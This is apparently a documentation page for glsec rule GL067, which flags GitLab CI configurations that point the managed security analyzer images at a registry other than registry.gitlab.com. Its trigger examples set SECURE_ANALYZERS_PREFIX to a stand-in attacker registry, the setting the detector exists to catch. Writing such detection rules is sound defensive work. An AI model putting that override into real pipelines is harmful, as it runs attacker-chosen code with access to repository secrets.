glsec

Rules / GL067

GL067 Managed-scan analyzer registry repointed off registry.gitlab.com

Severity: warn
OWASP: CICD-SEC-4 – Poisoned Pipeline Execution
CWE: CWE-829 – Inclusion of Functionality from Untrusted Control Sphere

Risk

GitLab's managed security templates (SAST, Dependency Scanning, Container Scanning, etc.) pull their analyzer images using SECURE_ANALYZERS_PREFIX, which defaults to the official GitLab analyzer registry (registry.gitlab.com/security-products). If a pipeline overrides SECURE_ANALYZERS_PREFIX — or a per-analyzer image control such as SAST_ANALYZER_IMAGE / CS_ANALYZER_IMAGE — to point at an arbitrary registry, every "security scan" job silently runs an attacker-chosen image with access to the repository and the job's secrets. It is a scanner-substitution / poisoned-pipeline attack that still shows green "security scanning" jobs.

What glsec checks

glsec flags a variables: entry (top-level, default:, or per-job) that sets one of the managed-scan analyzer controls to a registry host other than registry.gitlab.com:

variables:
  SECURE_ANALYZERS_PREFIX: registry.attacker.example/analyzers   # flagged

Trigger example

include:
  - template: Jobs/SAST.gitlab-ci.yml

variables:
  SECURE_ANALYZERS_PREFIX: registry.attacker.example/analyzers

Safe alternative

Do not override SECURE_ANALYZERS_PREFIX. If an internal mirror is genuinely required, make it a deliberate, reviewed choice: pin it to the trusted internal registry and pair it with the registry-allowlist rule (GL065).

# Mirror the official analyzers into a trusted internal registry, then point at it explicitly:
variables:
  SECURE_ANALYZERS_PREFIX: registry.gitlab.com/security-products

Notes

Documentation for glsec 1.23.0. Source of this page · Rule implementation